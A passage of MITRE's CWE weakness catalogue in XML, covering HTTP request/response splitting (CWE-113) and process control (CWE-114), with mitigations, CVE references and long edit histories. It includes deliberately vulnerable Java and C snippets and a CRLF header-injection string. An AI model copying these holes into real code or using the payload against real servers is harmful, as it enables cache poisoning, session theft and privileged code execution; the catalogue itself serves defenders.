					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="113" Name="Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.</Description>
         <Extended_Description>
	   <xhtml:p>
	     HTTP agents or components may include a web server, load balancer, reverse proxy, web caching proxy, application firewall, web browser, etc. Regardless of the role, they are expected to maintain coherent, consistent HTTP communication state across all components. However, including unexpected data in an HTTP header allows an attacker to specify the entirety of the HTTP message that is rendered by the client HTTP agent (e.g., web browser) or back-end HTTP agent (e.g., web server), whether the message is part of a request or a response.
	   </xhtml:p>
            <xhtml:p>When an HTTP request contains unexpected CR and LF characters, the server may respond with an output stream that is interpreted as "splitting" the stream into two different HTTP messages instead of one. CR is carriage return, also given by %0d or \r, and LF is line feed, also given by %0a or \n.</xhtml:p>
	    <xhtml:p>In addition to CR and LF characters, other valid/RFC compliant special characters and unique character encodings can be utilized, such as HT (horizontal tab, also given by %09 or \t) and SP (space, also given as + sign or %20).</xhtml:p>
	    <xhtml:p>These types of unvalidated and unexpected data in HTTP message headers allow an attacker to control the second "split" message to mount attacks such as server-side request forgery, cross-site scripting, and cache poisoning attacks.</xhtml:p>
            <xhtml:p>HTTP response splitting weaknesses may be present when:</xhtml:p>
               <xhtml:ol>
                  <xhtml:li>Data enters a web application through an untrusted source, most frequently an HTTP request.</xhtml:li>
                  <xhtml:li>The data is included in an HTTP response header sent to a web user without neutralizing malicious characters that can be interpreted as separator characters for headers.</xhtml:li>
               </xhtml:ol>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="93" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="79" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
	    <Related_Weakness Nature="ChildOf" CWE_ID="436" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>HTTP Request Splitting</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>HTTP Response Splitting</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the message that the application intends to send/receive, as well as allowing them to create additional messages entirely under their control.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Construct HTTP headers very carefully, avoiding the use of non-validated input data.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. If an input does not strictly conform to specifications, reject it or transform it into something that conforms.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String author = request.getParameter(AUTHOR_PARAM);<xhtml:br/>...<xhtml:br/>Cookie cookie = new Cookie("author", author);<xhtml:br/>cookie.setMaxAge(cookieExpiration);<xhtml:br/>response.addCookie(cookie);</xhtml:div>
               </Example_Code>
               <Body_Text>Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>HTTP/1.1 200 OK<xhtml:br/>...<xhtml:br/>Set-Cookie: author=Jane Smith<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>However, because the value of the cookie is composed of unvalidated user input, the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>Wiley Hacker\r\nHTTP/1.1 200 OK\r\n</xhtml:div>
               </Example_Code>
               <Body_Text>then the HTTP response would be split into two responses of the following form:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>HTTP/1.1 200 OK<xhtml:br/>...<xhtml:br/>Set-Cookie: author=Wiley Hacker<xhtml:br/>HTTP/1.1 200 OK<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability to construct arbitrary HTTP responses permits a variety of resulting attacks, including:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>cross-user defacement</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>web and browser cache poisoning</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>cross-site scripting</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>page hijacking</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server.</Intro_Text>
               <Body_Text>
                 <xhtml:p>Cross-User Defacement can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server.</xhtml:p>
                        <xhtml:ul>
                           <xhtml:li>
                              In the best case, an attacker can leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application.
                           </xhtml:li>
                           <xhtml:li>
                              In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.
                           </xhtml:li>
                        </xhtml:ul>
               </Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The impact of a maliciously constructed response can be magnified if it is cached, either by a web cache used by multiple users or even the browser cache of a single user.</Intro_Text>
               <Body_Text>
                 <xhtml:p>Cache Poisoning: if a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.</xhtml:p>
               </Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users.</Intro_Text>
               <Body_Text>
                 <xhtml:p>Cross-Site Scripting: cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.</xhtml:p>
                     <xhtml:p>The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.</xhtml:p>
                     <xhtml:p>The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.</xhtml:p>
               </Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In addition to using a vulnerable application to send malicious content to a user, the same weakness can also be leveraged to redirect sensitive content generated by the server to the attacker instead of the intended user.</Intro_Text>
               <Body_Text>
                     <xhtml:p>Page Hijacking: by submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server to the attacker instead of the intended user.</xhtml:p>
                     <xhtml:p>Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.</xhtml:p>
               </Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
	   <Observed_Example>
               <Reference>CVE-2020-15811</Reference>
               <Description>Chain: Proxy uses a substring search instead of parsing the Transfer-Encoding header (CWE-697), allowing request splitting (CWE-113) and cache poisoning</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-15811</Link>
	   </Observed_Example>
	   <Observed_Example>
               <Reference>CVE-2021-41084</Reference>
               <Description>Scala-based HTTP interface allows request splitting and response splitting through header names, header values, status reasons, and URIs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-41084</Link>
	   </Observed_Example>
	   <Observed_Example>
               <Reference>CVE-2018-12116</Reference>
               <Description>Javascript-based framework allows request splitting through a path option of an HTTP request</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2018-12116</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2146</Reference>
               <Description>Application accepts CRLF in an object ID, allowing HTTP response splitting.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2146</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1656</Reference>
               <Description>Shopping cart allows HTTP response splitting to perform HTML injection via CRLF in a parameter for a url</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1656</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2060</Reference>
               <Description>Bulletin board allows response splitting via CRLF in parameter.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2060</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2512</Reference>
               <Description>Response splitting via CRLF in PHPSESSID.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2512</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1951</Reference>
               <Description>e-commerce app allows HTTP response splitting using CRLF in object id parameters</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1951</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>HTTP response splitting</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>HTTP Response Splitting</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>25</Entry_ID>
               <Entry_Name>HTTP Response Splitting</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="105"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="34"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-43"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting).&#34; Page 31"/>
	    <Reference External_Reference_ID="REF-1272"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated References, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Other_Notes, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Potential_Mitigations, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
				  <Modification_Name>CWE Content Team</Modification_Name>
				  <Modification_Organization>MITRE</Modification_Organization>
				  <Modification_Date>2022-06-28</Modification_Date>
				  <Modification_Importance>Critical</Modification_Importance>
				  <Modification_Comment>Extended the abstraction of this entry to include both HTTP request and response splitting.</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Jonathan Leitschuh</Contribution_Name>
               <Contribution_Organization>Dan Kaminsky Fellowship @ HUMAN Security</Contribution_Organization>
               <Contribution_Date>2022-02-25</Contribution_Date>
               <Contribution_Comment>Suggested a new entry for HTTP Request Splitting, leading to scope expansion for CWE-113</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-04-11">HTTP Response Splitting</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</Previous_Entry_Name>
			<Previous_Entry_Name Date="2022-06-28">Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="114" Name="Process Control" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.</Description>
         <Extended_Description>Process control vulnerabilities take two forms:
	 <xhtml:ul>
	   <xhtml:li>An attacker can change the command that the program executes: the attacker explicitly controls what the command is.</xhtml:li>
	   <xhtml:li>An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.</xhtml:li>
	 </xhtml:ul>
	 <xhtml:p>Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="73" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code uses System.loadLibrary() to load code from a native library named library.dll, which is normally found in a standard system directory.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>System.loadLibrary("library.dll");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The problem here is that System.loadLibrary() accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of library.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's library.dll will now be run with elevated privileges, possibly giving them complete control of the system.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>...<xhtml:br/>RegQueryValueEx(hkey, "APPHOME",<xhtml:br/>0, 0, (BYTE*)home, &amp;size);<xhtml:br/>char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));<xhtml:br/>if (lib) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>strcpy(lib,home);<xhtml:br/>strcat(lib,INITCMD);<xhtml:br/>LoadLibrary(lib);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>LoadLibrary("liberty.dll");</xhtml:div>
               </Example_Code>
               <Body_Text>The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Process Control</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="108"/>
            <Related_Attack_Pattern CAPEC_ID="640"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Maintenance">CWE-114 is a Class, but it is listed a child of CWE-73 in view 1000. This suggests some abstraction problems that should be resolved in future versions.</Note>
            <Note Type="Maintenance">This entry seems to have close relationships with CWE-426/CWE-427. It seems more attack-oriented.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
